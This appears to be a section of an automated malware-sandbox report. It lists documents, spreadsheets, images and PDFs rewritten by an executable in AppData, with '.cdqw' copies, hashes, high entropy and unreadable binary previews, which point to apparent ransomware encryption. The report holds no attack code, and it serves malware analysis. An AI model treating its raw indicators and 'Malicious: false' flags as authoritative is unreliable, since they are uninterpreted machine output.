MD5:	D461678E8F5CEA9E17214EA75C38AB1A
SHA1:	35B8A3FB9C910CF913233429DC0407C42A1ACD15
SHA-256:	3E91739D28C2FB851CD9B7C5B72E0B5E3EF7F33E10E57961D15472332873D1D7
SHA-512:	F91DF1206885CD4572CC180F9C440DE28855025C476CDAA0294666503137B792F95A61F6B27D10E4A3C6511140D09C775E3E1278710693F0DD9EF84B95DE0DC3
Malicious:	false
Preview:	IPKGEE:......b.r4w....nI.}...:.....r..,4.4....N@...S..r.x....[.?...\|.$..H..b..^.E.....`.......!>.mV.k[q..,.@...:..AH.....>..K..<......)....D.iO.{...;.......i.. P.l.}..8.9.b......(=6.!+....S..1.."r-/V..sq.........A..<.}.,...\..'}r.$[.).%..B.:P%dv...vK^.&...n....U}...b.6g..-Np...=.g.N.y....z....k.hH7...>.#....).8.)6.......j..[ga.U.9E..z.D.m0..7..]...4.A.N..<<..I..x.X.....G...<.T=.E/..@s.6M.W......w..u.3.h.....9.2.V.e...'=...1...@5......).w.Q..-.......:sI.....X..[.L8{..c....&G8.,.._4m.=.....j04..F...........a.9.d_g1O.....q.X.N\j.:?.V...ua..X.T?.2&LO_.N$J...\..y.Q.....M).B........t.a....{;.._.9@....+.I.6.M....X...m+.......4..R..sM...h.l.......Q......u...;f......ra.hzo.e.1..&..."6.n.....M.c=.//Y...Q..f.l.]ZH.`{..f.b.f.....L..N...\|.d0!(....$...NXS..`Q.=....?.^h.V.tt.*0..(..3.?.[..g.O...9.r....a..W<t_...Nx.O.F....<.Y).....wLw?..o.m-....Q<.nd........+hk..<..9.r...N.+..eS..zL......q......LO..w.^..5,]2a..\g%.X......T..G9x.v".)4......x..l...<n!.P

C:\Users\user\Documents\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867989757461447
Encrypted:	false
SSDEEP:	24:K2kD4b+n22cCJo3XAjO9s1hzeaiFQTokwgzUuHUS4HNV2bD:K2kD4bKcCWSrzKQ0kYS4HoD
MD5:	1687E9E8D2B586D3F5030DB9519515F6
SHA1:	A5B5CC26728ADC1F2479D5384E31BA1827F3BB23
SHA-256:	8859D4DC735371F61E3AB4C04ABFF4DC1BEA10262D5C5E3719083D2A6D9BC769
SHA-512:	AB1DFAC1BCF105F3ABD689D37DD287EE8C530F8F5D81ABC4FD3EE31CF0D3FB2E4790F2C693D7A58CB09DEB1E5FC548F4A79DB7769006498C2279A20579739846
Malicious:	false
Preview:	LSBIH.. ."a.3N.M...l..9.~_^/0.{.u....6b\.....?.Gm..^O..Z./c........#.!.H....I&....,.....("...!.%X.~N..i8h.....s...^...7sr..b.......!o.S.:"}W...,q5.3O&...5.;.G.Fi..H......gW...%.91~.Q9...A.........$.......!/...a..}..Fb..`.....?o.!H.7......V..y..9.k]c.&.ni..S..\|..'T7K...~.E'...].%>>.g9...-..E_....fR.s\|.-....4..5...~S.23...B..>.~<B.....k-..../......s.V...`:9I[...]@..H+}.....[...#.>x.6..1\....@wu.....X......K.F.......,..6eR....... .......x.t.....T.....$."..7.;.-1..f..H>=....sD.?...v<.!.xJ.p.......Ni..\.~..<{Iw@..yD...2wg...P.....!...bk...po.f........."B7.....Y}....ADj5.@.@..g...t&..t.g..F...\..7.tJ.;.Iy..%.N..V.'....$....&...:...$..i ..F..J.a.rq...S[...!:B..!.m...../.O+k.:.....'a.:/...^...)?.......=Y.2...L.e.>.5V......v..]&....d.......o...u....y...c.5>32.Mw<...Ot../.=...l....7..n...V..y...S...<yb.....H..Z..........I>N.}..FvY.~l...5;6.N.f9.Ib.....a....e...n_.$...j..D...r.`.cY.#.}!.WP.....m....P.A.r.....)8^..pN...>=..9..Q:i.......

C:\Users\user\Documents\LSBIHQFDVT.docx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867989757461447
Encrypted:	false
SSDEEP:	24:K2kD4b+n22cCJo3XAjO9s1hzeaiFQTokwgzUuHUS4HNV2bD:K2kD4bKcCWSrzKQ0kYS4HoD
MD5:	1687E9E8D2B586D3F5030DB9519515F6
SHA1:	A5B5CC26728ADC1F2479D5384E31BA1827F3BB23
SHA-256:	8859D4DC735371F61E3AB4C04ABFF4DC1BEA10262D5C5E3719083D2A6D9BC769
SHA-512:	AB1DFAC1BCF105F3ABD689D37DD287EE8C530F8F5D81ABC4FD3EE31CF0D3FB2E4790F2C693D7A58CB09DEB1E5FC548F4A79DB7769006498C2279A20579739846
Malicious:	false
Preview:	LSBIH.. ."a.3N.M...l..9.~_^/0.{.u....6b\.....?.Gm..^O..Z./c........#.!.H....I&....,.....("...!.%X.~N..i8h.....s...^...7sr..b.......!o.S.:"}W...,q5.3O&...5.;.G.Fi..H......gW...%.91~.Q9...A.........$.......!/...a..}..Fb..`.....?o.!H.7......V..y..9.k]c.&.ni..S..\|..'T7K...~.E'...].%>>.g9...-..E_....fR.s\|.-....4..5...~S.23...B..>.~<B.....k-..../......s.V...`:9I[...]@..H+}.....[...#.>x.6..1\....@wu.....X......K.F.......,..6eR....... .......x.t.....T.....$."..7.;.-1..f..H>=....sD.?...v<.!.xJ.p.......Ni..\.~..<{Iw@..yD...2wg...P.....!...bk...po.f........."B7.....Y}....ADj5.@.@..g...t&..t.g..F...\..7.tJ.;.Iy..%.N..V.'....$....&...:...$..i ..F..J.a.rq...S[...!:B..!.m...../.O+k.:.....'a.:/...^...)?.......=Y.2...L.e.>.5V......v..]&....d.......o...u....y...c.5>32.Mw<...Ot../.=...l....7..n...V..y...S...<yb.....H..Z..........I>N.}..FvY.~l...5;6.N.f9.Ib.....a....e...n_.$...j..D...r.`.cY.#.}!.WP.....m....P.A.r.....)8^..pN...>=..9..Q:i.......

C:\Users\user\Documents\LSBIHQFDVT\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867733773690025
Encrypted:	false
SSDEEP:	24:fMwgFyW0lwTDc/ghJ1l3Wttu9XtLH+ZsNKm0wjYdCQEi4VGG8sI2bD:gFhJ3c/gh38ttuVtLKspYerVnD
MD5:	B72FC7321D519BEFA9DEE983D1B73F07
SHA1:	0D76A43351F4BBD36A44159F800BB8823D2DF7C6
SHA-256:	2F89B47D729FD2AD54EECBE4428810A901555AC187CEEC0CC7FC0154C9C312E8
SHA-512:	0A4DBAB8574BFFBF63D44347B3F43BCD6813DE010F1067FED0EC7E414C76F8215BCACAEC57D3DC8E767C72C40C41E5137A432B40D01DEE6B00421F3A85B256D8
Malicious:	false
Preview:	DUUDTo..;..N..e....V(.2.'.^..[.\|.5y..+..\.Z4a/<_k...N4%..^.....Sk...i.RU.....y....v...d-.1-d...:S.\|r5..u.....mQ^.......C3..>....&...@...H.]..>.W.._.......C.............U.X/L.&DL..Spt.W...@H...x$.sX.v..8:...9..T<....\|Cb....x...y#...1v!...I.a.....]..6.b..'....( ..eb+....\|.b=.J.P).3...D.NKn.iIc.s`..[.....w.1..E.5$A.....b.....6G....V....>.k.M.E+X..T.[...d'.'...\#d.2=.......=..$.P......F.w5.1.U.5...+..NXwil<.}. ...!....;...,;...R.W...f..F.Y..b.U.e..Y.G..!..4.:...:.E....E~....;u.......Y...V}.......R.......I..W"C.Z..w.....-.........#\.....W../.eT.p.,.........E{..}..P.w..xB.DB...)f..N..0.....;.O.R....:"A.....b.......;Kj..FP]@I...x%.q.'.`...........,..F..........Y.....^.B.w.K..pU..[t.K....%..x..qM...W....w2....E.^P...z.,l. RM6....{..5....?.K.M..QN.z.Y.r.M.....Ds.X..N...mb..E..[..}.jF[7ay..A........3Tj=..o.'.B)..P..^..ph...~^.1z.T.:.b..ay...7.n(.e.,I;..@...-......Uj.+&E+..O....y...tB.h1.=.h............).....T:..a...OSo...l...%.S....@..

C:\Users\user\Documents\LSBIHQFDVT\DUUDTUBZFW.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867733773690025
Encrypted:	false
SSDEEP:	24:fMwgFyW0lwTDc/ghJ1l3Wttu9XtLH+ZsNKm0wjYdCQEi4VGG8sI2bD:gFhJ3c/gh38ttuVtLKspYerVnD
MD5:	B72FC7321D519BEFA9DEE983D1B73F07
SHA1:	0D76A43351F4BBD36A44159F800BB8823D2DF7C6
SHA-256:	2F89B47D729FD2AD54EECBE4428810A901555AC187CEEC0CC7FC0154C9C312E8
SHA-512:	0A4DBAB8574BFFBF63D44347B3F43BCD6813DE010F1067FED0EC7E414C76F8215BCACAEC57D3DC8E767C72C40C41E5137A432B40D01DEE6B00421F3A85B256D8
Malicious:	false
Preview:	DUUDTo..;..N..e....V(.2.'.^..[.\|.5y..+..\.Z4a/<_k...N4%..^.....Sk...i.RU.....y....v...d-.1-d...:S.\|r5..u.....mQ^.......C3..>....&...@...H.]..>.W.._.......C.............U.X/L.&DL..Spt.W...@H...x$.sX.v..8:...9..T<....\|Cb....x...y#...1v!...I.a.....]..6.b..'....( ..eb+....\|.b=.J.P).3...D.NKn.iIc.s`..[.....w.1..E.5$A.....b.....6G....V....>.k.M.E+X..T.[...d'.'...\#d.2=.......=..$.P......F.w5.1.U.5...+..NXwil<.}. ...!....;...,;...R.W...f..F.Y..b.U.e..Y.G..!..4.:...:.E....E~....;u.......Y...V}.......R.......I..W"C.Z..w.....-.........#\.....W../.eT.p.,.........E{..}..P.w..xB.DB...)f..N..0.....;.O.R....:"A.....b.......;Kj..FP]@I...x%.q.'.`...........,..F..........Y.....^.B.w.K..pU..[t.K....%..x..qM...W....w2....E.^P...z.,l. RM6....{..5....?.K.M..QN.z.Y.r.M.....Ds.X..N...mb..E..[..}.jF[7ay..A........3Tj=..o.'.B)..P..^..ph...~^.1z.T.:.b..ay...7.n(.e.,I;..@...-......Uj.+&E+..O....y...tB.h1.=.h............).....T:..a...OSo...l...%.S....@..

C:\Users\user\Documents\LSBIHQFDVT\QCFWYSKMHA.xlsx

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845171540075014
Encrypted:	false
SSDEEP:	24:vVA2rBenXB2VaeWjSr7kVRyDQMArgslpSgnkXMwX9uNyPCqjDTl42bD:NkXUaeWjKkH+QFEsnSBcwNlvnlrD
MD5:	F9095B451BFB32E9B29FB2F93EAC163B
SHA1:	35262C9CCCD754A84E9F78393918040E04244FF5
SHA-256:	2B54186C79E3EF65CB96579303042A3A63A14CCAE921F647AB2C9C37A75FC4D7
SHA-512:	FCA761B02BB2066AF1B366D3B6BEF6DC4D2C8C28FE4D43195B991395A9E24405D2473A5205595C0E4F4BBE5A86F2DF2084127A5418E646F7AD5821AB83D9BD1D
Malicious:	false
Preview:	QCFWY..K...]..(....L...ut...@..:....&..cx.a.(.a.[.^k.,../..s.~4=..:D.i.....3.)h!.S.mq.q.0.9..e..\.g.r.'.Y.&.."%.....&............Q.....+;l.......lg$HV]of....@........[h.......>D....-.5et..(R..!.7...U..Z....#.6....X..^.x.j.^.B..\&)..!.;.u.............p%i ..E.D..f6..e..O:5....x.L+..:.%K!....ZmbWTl.....c......7p8....../z.;.M.I./..{...~.\|.z.........[.q.k.5....xWr...!.vW.-......4....!0..z.........u.W#...M#..O.......D..~.T......W.<$.. ..X....fz.....p..@i.ow.9`$.....aJI.T.....W.N.H........6......R.J...VT6L....?Qp.;c....<..m.m.O...?.K.~.t.l...F. .>.lL"_.C......y,..7v..W.%.E...3.s..'.0t.6....d.s"......6.}..I5.~..w..(P....R...;m.S..W].......r.!..e.....p.NT&......=......N.....N..s...X..Y9L.f]...9..u.......0fa.;.G^.[E"........'...,.c..M"..J.r.?=....zr9m....N..o......N.Jlt...3YO.V.Z.5.....A.:2t.....;..)...~......J@.S8.7T......A.G.f.....`<.l3Q...R.9B........-...]z<..Y......Xb5....+.A.1..Mel..9.Y\.#..T.(.0l....t..RW)...6.<CS.(/....ax...N.v-...\

C:\Users\user\Documents\LSBIHQFDVT\QCFWYSKMHA.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845171540075014
Encrypted:	false
SSDEEP:	24:vVA2rBenXB2VaeWjSr7kVRyDQMArgslpSgnkXMwX9uNyPCqjDTl42bD:NkXUaeWjKkH+QFEsnSBcwNlvnlrD
MD5:	F9095B451BFB32E9B29FB2F93EAC163B
SHA1:	35262C9CCCD754A84E9F78393918040E04244FF5
SHA-256:	2B54186C79E3EF65CB96579303042A3A63A14CCAE921F647AB2C9C37A75FC4D7
SHA-512:	FCA761B02BB2066AF1B366D3B6BEF6DC4D2C8C28FE4D43195B991395A9E24405D2473A5205595C0E4F4BBE5A86F2DF2084127A5418E646F7AD5821AB83D9BD1D
Malicious:	false
Preview:	QCFWY..K...]..(....L...ut...@..:....&..cx.a.(.a.[.^k.,../..s.~4=..:D.i.....3.)h!.S.mq.q.0.9..e..\.g.r.'.Y.&.."%.....&............Q.....+;l.......lg$HV]of....@........[h.......>D....-.5et..(R..!.7...U..Z....#.6....X..^.x.j.^.B..\&)..!.;.u.............p%i ..E.D..f6..e..O:5....x.L+..:.%K!....ZmbWTl.....c......7p8....../z.;.M.I./..{...~.\|.z.........[.q.k.5....xWr...!.vW.-......4....!0..z.........u.W#...M#..O.......D..~.T......W.<$.. ..X....fz.....p..@i.ow.9`$.....aJI.T.....W.N.H........6......R.J...VT6L....?Qp.;c....<..m.m.O...?.K.~.t.l...F. .>.lL"_.C......y,..7v..W.%.E...3.s..'.0t.6....d.s"......6.}..I5.~..w..(P....R...;m.S..W].......r.!..e.....p.NT&......=......N.....N..s...X..Y9L.f]...9..u.......0fa.;.G^.[E"........'...,.c..M"..J.r.?=....zr9m....N..o......N.Jlt...3YO.V.Z.5.....A.:2t.....;..)...~......J@.S8.7T......A.G.f.....`<.l3Q...R.9B........-...]z<..Y......Xb5....+.A.1..Mel..9.Y\.#..T.(.0l....t..RW)...6.<CS.(/....ax...N.v-...\

C:\Users\user\Documents\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853591098287214
Encrypted:	false
SSDEEP:	24:hQkzHZbmqPAdK6AwpinyqXzGZCUYTrr+K1rfmWV/zxkyjSyhre0Id2bD:hQa5NKv7piyqaCdXycfmm/9kyjSyI8D
MD5:	36D30723C376B15D0C1F36271374113D
SHA1:	AB620FF132B83C8A11C02904FE390D73BE285902
SHA-256:	98FF06371D620918E8583E7F7C18353BD58F9C61105BE41D106C2831F64C6F0E
SHA-512:	313ECA29C19C7D9823D9303E382944F33C21205F16800A58E5479B504525A84887F9377ED49CD3D2BCDBD3EF86F4DF680A7B40C6F3400AC8832C696EC4238D0E
Malicious:	false
Preview:	MXPXC6.=nA...v.$6..$...."u.....Z.K..wC.^.....3.f.Z....m..?.......J..W$....[.!. q..):....v-./...."......i........@..!...lFC....Yw...&....7:r"..2.2.8.gb..Q.[.....Q.<..Q...j......;.....%=Z.mnZ.U=....s,Vx..FJr.C..".....;...c.wR.?.h.@...G.[.U...;E.-I........+5.....#.....y.T..dG....^.h-.......w2<...'.'..}.f.3[.4...%s..'..RW.8.5..:../8.u.o.#.C..4.....\....a...}..g...- ...hG.nO..s..m.}..?.y. \"Tb.3....=..g}.&j.Mg`.!?b..q.G..#...;...Y...JL...H.9..m..( &.J..Zv.7<..E..Z...P..Q..C.Z.5.QV..7a..ap<.O.q.$"'..f..F...r>..n..y.2.a...!..J....xd..BP[..f........@ej.%k..=....kT.QCS......L.n..........".Iq+.G..].k..n.<ph...{2....xsD.m..W..M.ZJ}..3...^R..H.(OB.\..).k.V..a..&....).v.\q%....W..M....9...t`.p!.d..Z........C<m.98.....O...W.j...U.%..M:y..A.eqO.......N......eL....(..7x..[...P)...e.f......../.....jT#.Gs..5....I..y~...Q......W.qB.ED...)tq<....v.%C....UAV..k.Z..#7...@b[.mPu.......{........y...<{u.:6:?..w.F\..K.Lv.n..?T....q....#0..#.cKA>A....G..c.S.pq..b.

C:\Users\user\Documents\MXPXCVPDVN.docx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853591098287214
Encrypted:	false
SSDEEP:	24:hQkzHZbmqPAdK6AwpinyqXzGZCUYTrr+K1rfmWV/zxkyjSyhre0Id2bD:hQa5NKv7piyqaCdXycfmm/9kyjSyI8D
MD5:	36D30723C376B15D0C1F36271374113D
SHA1:	AB620FF132B83C8A11C02904FE390D73BE285902
SHA-256:	98FF06371D620918E8583E7F7C18353BD58F9C61105BE41D106C2831F64C6F0E
SHA-512:	313ECA29C19C7D9823D9303E382944F33C21205F16800A58E5479B504525A84887F9377ED49CD3D2BCDBD3EF86F4DF680A7B40C6F3400AC8832C696EC4238D0E
Malicious:	false
Preview:	MXPXC6.=nA...v.$6..$...."u.....Z.K..wC.^.....3.f.Z....m..?.......J..W$....[.!. q..):....v-./...."......i........@..!...lFC....Yw...&....7:r"..2.2.8.gb..Q.[.....Q.<..Q...j......;.....%=Z.mnZ.U=....s,Vx..FJr.C..".....;...c.wR.?.h.@...G.[.U...;E.-I........+5.....#.....y.T..dG....^.h-.......w2<...'.'..}.f.3[.4...%s..'..RW.8.5..:../8.u.o.#.C..4.....\....a...}..g...- ...hG.nO..s..m.}..?.y. \"Tb.3....=..g}.&j.Mg`.!?b..q.G..#...;...Y...JL...H.9..m..( &.J..Zv.7<..E..Z...P..Q..C.Z.5.QV..7a..ap<.O.q.$"'..f..F...r>..n..y.2.a...!..J....xd..BP[..f........@ej.%k..=....kT.QCS......L.n..........".Iq+.G..].k..n.<ph...{2....xsD.m..W..M.ZJ}..3...^R..H.(OB.\..).k.V..a..&....).v.\q%....W..M....9...t`.p!.d..Z........C<m.98.....O...W.j...U.%..M:y..A.eqO.......N......eL....(..7x..[...P)...e.f......../.....jT#.Gs..5....I..y~...Q......W.qB.ED...)tq<....v.%C....UAV..k.Z..#7...@b[.mPu.......{........y...<{u.:6:?..w.F\..K.Lv.n..?T....q....#0..#.cKA>A....G..c.S.pq..b.

C:\Users\user\Documents\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84357911225865
Encrypted:	false
SSDEEP:	24:n0z5b9UseaWP2ZbDAuz4KyexNHIRssDEGCguHeW2yNHZqRH4F76oVfAtHLaV2bD:n0z5b9UvXuz4kkyLquFVVfPuD
MD5:	140966B0BBF0B0D5935F48CC3DF147FD
SHA1:	AD8DC2D7563FF533372D2318BCC6E6F253FE4B79
SHA-256:	BA40BEC136D53EE96E868F620CE8E686F448301420C679E47428B9B8D6AE38F4
SHA-512:	331D565E64FA5B94590A8954339AC0DE2D126BAD399C5B376F2185E42404B6222D8D36507374876CE9BB943FCE5120DAF97BBFB6C9E47ABBD11C98BB817DC4E8
Malicious:	false
Preview:	NEBFQ.3..d.\|...q......c..=y..v3.....D.-u7v..n...?m.De....-.8...t.Wy'.gX..fp..BmL..G.+..}.Z.6l....{...%...}`q...<..!./......".Y...;./<.....^..+-..B..3F.C...Z"XV!..T.....?....W.e#...`.W...I.T\|....5.np32&....Y..e\q...v{.U..vo6].-..9)....#..g..W..u..p.....\|.gO.>r...L.?..0<]..........5(....N....MU.(......r.....S...._..A.`..._..dj#...YC..0....B#C...q.{g....`.....0C.....cF..g.................}(.W.N........:....v4.~s.[i.@.... v..6qj...u.e.P..q...%..D%.....I.H.tp.p..n..34..Q!....3..=7....4..p"._.79#1. ...U.[w...r.bF....~,jJY.Sb.:...G.*(...7.\.\(M.g5'...{....l2..A...:.....r.....Rpi.{d...t.I....t..=\|W.q.C.T.:w..[T...&...z...-..[.T.>......aa.H.m.W.s.G.......dG.U.lx.#..ki.......W4..3..].5..y%.Z..).F.MZ..$....f......[s...bV-.......G1..DPf.....lQ....@T.a.k..X..8p..B".".\..g...Pdw...},.-z.1+)7)r.....S.`..~..%.Q.o..5.>~i..s/.(...^(.s.b.V./.?u.....d..'...sP..=...i.r.-D#.{PE.h.".).O.:.]A.....0...}.9W2.g=y..V..`.[....H.C8.C{..L..5.:.N..v.p.$,">.US.y...W

C:\Users\user\Documents\NEBFQQYWPS.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84357911225865
Encrypted:	false
SSDEEP:	24:n0z5b9UseaWP2ZbDAuz4KyexNHIRssDEGCguHeW2yNHZqRH4F76oVfAtHLaV2bD:n0z5b9UvXuz4kkyLquFVVfPuD
MD5:	140966B0BBF0B0D5935F48CC3DF147FD
SHA1:	AD8DC2D7563FF533372D2318BCC6E6F253FE4B79
SHA-256:	BA40BEC136D53EE96E868F620CE8E686F448301420C679E47428B9B8D6AE38F4
SHA-512:	331D565E64FA5B94590A8954339AC0DE2D126BAD399C5B376F2185E42404B6222D8D36507374876CE9BB943FCE5120DAF97BBFB6C9E47ABBD11C98BB817DC4E8
Malicious:	false
Preview:	NEBFQ.3..d.\|...q......c..=y..v3.....D.-u7v..n...?m.De....-.8...t.Wy'.gX..fp..BmL..G.+..}.Z.6l....{...%...}`q...<..!./......".Y...;./<.....^..+-..B..3F.C...Z"XV!..T.....?....W.e#...`.W...I.T\|....5.np32&....Y..e\q...v{.U..vo6].-..9)....#..g..W..u..p.....\|.gO.>r...L.?..0<]..........5(....N....MU.(......r.....S...._..A.`..._..dj#...YC..0....B#C...q.{g....`.....0C.....cF..g.................}(.W.N........:....v4.~s.[i.@.... v..6qj...u.e.P..q...%..D%.....I.H.tp.p..n..34..Q!....3..=7....4..p"._.79#1. ...U.[w...r.bF....~,jJY.Sb.:...G.*(...7.\.\(M.g5'...{....l2..A...:.....r.....Rpi.{d...t.I....t..=\|W.q.C.T.:w..[T...&...z...-..[.T.>......aa.H.m.W.s.G.......dG.U.lx.#..ki.......W4..3..].5..y%.Z..).F.MZ..$....f......[s...bV-.......G1..DPf.....lQ....@T.a.k..X..8p..B".".\..g...Pdw...},.-z.1+)7)r.....S.`..~..%.Q.o..5.>~i..s/.(...^(.s.b.V./.?u.....d..'...sP..=...i.r.-D#.{PE.h.".).O.:.]A.....0...}.9W2.g=y..V..`.[....H.C8.C{..L..5.:.N..v.p.$,">.US.y...W

C:\Users\user\Documents\QCFWYSKMHA.xlsx

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841594608302475
Encrypted:	false
SSDEEP:	24:su5vBwG/IqhMPD71AIA44I/nxlaAZVSXwCw7loQTbH/wztsa4dQZ4s2bD:h5v9JMtm44IWIV9BdHg6a4dQZ4D
MD5:	A860BBE8354A5C932DB030FBD7D57225
SHA1:	48D4C3327D152336D8227868CE3C4DDBE3F9892E
SHA-256:	0C2F68BA5D1059B654CF83EB9555A9DC16F6D469AE0E6B29B180935DB6B2C00C
SHA-512:	83AFB16647D4369726AA516EEB25BB811D6EB2CF50EDD114480DB3E637FB1E2A813BA343F714F8594BD6A416F5A016DB618579BDAE6A20B679DF4FF582312B01
Malicious:	false
Preview:	QCFWY.4...?d7/....(.By.t...K.[xvj.....\./Y..Nc!HH.....%3/..Jvd../.../S.&.f...c..hA<...O.+n..u..<0..;..T%K....R........#O..xM...".W..4q......qu}.....b^..........u"..7FT.+......!....B.....f......<U.<..)f..\|{...."Vu.....2...~.N,}..c..q.Zh..nY..hVz...A..i0..J...5...W~HTO.ft.B{..VN..e;_....m..N...RB.....9...].(Ib.....'z...+...hIH`.......... .N..h8....'...^IV.`..-.Lk.......Z`....h...:..[{L.......^..m....{..8{......wp".L...!...R.yt.$.......l..S..9.....-...&...do%D.h.F.3 .a.d.....%.4.s$w...v..CK.....~.-.....liST...Wu4OF ...&....Xy....{..^......ge@1..?.J53.T2L........z...`...#'....l.s.<i0s..c'..8..L..IZ].4.h..m..H...D.-...a.....SM..HX'>`...\?..#Q..._...%J.#..lL.../(...cv..\|.Q......kK..l..&H.....pL.9>..7jd.~...F...z...%.-7Jn.......f&J.6..Tel...Jx...A.I..nDJj..40.3........7M.....Hd..h.{.O....U>M.v......4@...i..w.^O.41.....AA.';...(.V.J.2....W..i......6.........=&u.%{;"[v.Q6G0.....K9..-....g0`...E...g...Q......1L..a.._.n[...Gu...q..'%.w..O.F..

C:\Users\user\Documents\QCFWYSKMHA.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841594608302475
Encrypted:	false
SSDEEP:	24:su5vBwG/IqhMPD71AIA44I/nxlaAZVSXwCw7loQTbH/wztsa4dQZ4s2bD:h5v9JMtm44IWIV9BdHg6a4dQZ4D
MD5:	A860BBE8354A5C932DB030FBD7D57225
SHA1:	48D4C3327D152336D8227868CE3C4DDBE3F9892E
SHA-256:	0C2F68BA5D1059B654CF83EB9555A9DC16F6D469AE0E6B29B180935DB6B2C00C
SHA-512:	83AFB16647D4369726AA516EEB25BB811D6EB2CF50EDD114480DB3E637FB1E2A813BA343F714F8594BD6A416F5A016DB618579BDAE6A20B679DF4FF582312B01
Malicious:	false
Preview:	QCFWY.4...?d7/....(.By.t...K.[xvj.....\./Y..Nc!HH.....%3/..Jvd../.../S.&.f...c..hA<...O.+n..u..<0..;..T%K....R........#O..xM...".W..4q......qu}.....b^..........u"..7FT.+......!....B.....f......<U.<..)f..\|{...."Vu.....2...~.N,}..c..q.Zh..nY..hVz...A..i0..J...5...W~HTO.ft.B{..VN..e;_....m..N...RB.....9...].(Ib.....'z...+...hIH`.......... .N..h8....'...^IV.`..-.Lk.......Z`....h...:..[{L.......^..m....{..8{......wp".L...!...R.yt.$.......l..S..9.....-...&...do%D.h.F.3 .a.d.....%.4.s$w...v..CK.....~.-.....liST...Wu4OF ...&....Xy....{..^......ge@1..?.J53.T2L........z...`...#'....l.s.<i0s..c'..8..L..IZ].4.h..m..H...D.-...a.....SM..HX'>`...\?..#Q..._...%J.#..lL.../(...cv..\|.Q......kK..l..&H.....pL.9>..7jd.~...F...z...%.-7Jn.......f&J.6..Tel...Jx...A.I..nDJj..40.3........7M.....Hd..h.{.O....U>M.v......4@...i..w.^O.41.....AA.';...(.V.J.2....W..i......6.........=&u.%{;"[v.Q6G0.....K9..-....g0`...E...g...Q......1L..a.._.n[...Gu...q..'%.w..O.F..

C:\Users\user\Documents\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839486252779676
Encrypted:	false
SSDEEP:	24:m9+A+9NvODdiynBKQYZWbcFLTMifdNR1J+7ZZ9tViScpYc2bD:m9F+9NJynAWoFLTMI4TkSGYvD
MD5:	9E71FBBA9C23201BFB5DAD7D4BCAC2AD
SHA1:	AE7D86795B08CF8440B19C41BF74E4FAA6ACFA6C
SHA-256:	F1408EF821910BDA84C6B67FEBAA0B251520415C73A141853C9F3542273592D7
SHA-512:	AAD5C04687060D363BEE74D33926E7F57AD2E31E77D3B8B681B31D532AE3B64739B3D18D02A31119BCCD4EA80C7AB767BE166EB3D48C587DBD817BAD24146B8E
Malicious:	false
Preview:	ZQIXM.9-m...r.<Q....@v.S..i..0.kp.k..p.R..y......"..4....8.%.O9......=.[...l.....xI.x....u.....M.....v5mZ@.7$..Y.-.T..?oT.d.#...........&.#.).]......h..]0\.N%.j......&........x..L.wO.{(.1'.s.. ...B$.....L.'... .07..Z.u.............j..V.u...5....#IgK.....>..........vh.^,..;X.......w...=hs.M.y.>....(....(...1..0..........3...............C..z.`..X....[.4{5q..!7..C.HW...1.]B.B.W.......].N..H.j#....".".sm'....C9l0QY..5:2c3....o.U..........o.....<....r.....97GV<.Z..oD.......#...%.....T.b\..o\|.#A.....G.<..Oi.w......j.....m.&..P'Xm.z.z.Y,..&E...k..l.9..N0..~P-p.:..O.u....H7l.#q#k..#.....b.t....s.........V.f.......$~.@..X(,.-.x.d^.........Z-'..R.e......P`...ok..K.Z........K..7lw.9.X....-.....!.A..N&...f..4..D...s._..\|2n[c..iF....F...&.oZ..<Z...e9...pJ..s......A.....X.....B.._.........(.t7?....}..Z.t..$.....A...)...8..V.;..DEo9......A]Eg.{.2h..@;.....E-......j.7.H..F...-d..y.5.R.Y606.:B...D...cA.W.. T.. ...X..Y. b.L.....1Q...qN.E..2.g8.........

